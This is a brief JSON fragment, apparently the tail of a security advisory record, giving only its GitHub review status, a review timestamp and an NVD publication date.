    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-23T00:17:58Z",
    "nvd_published_at" : "2026-06-12T22:16:50Z"
  }
}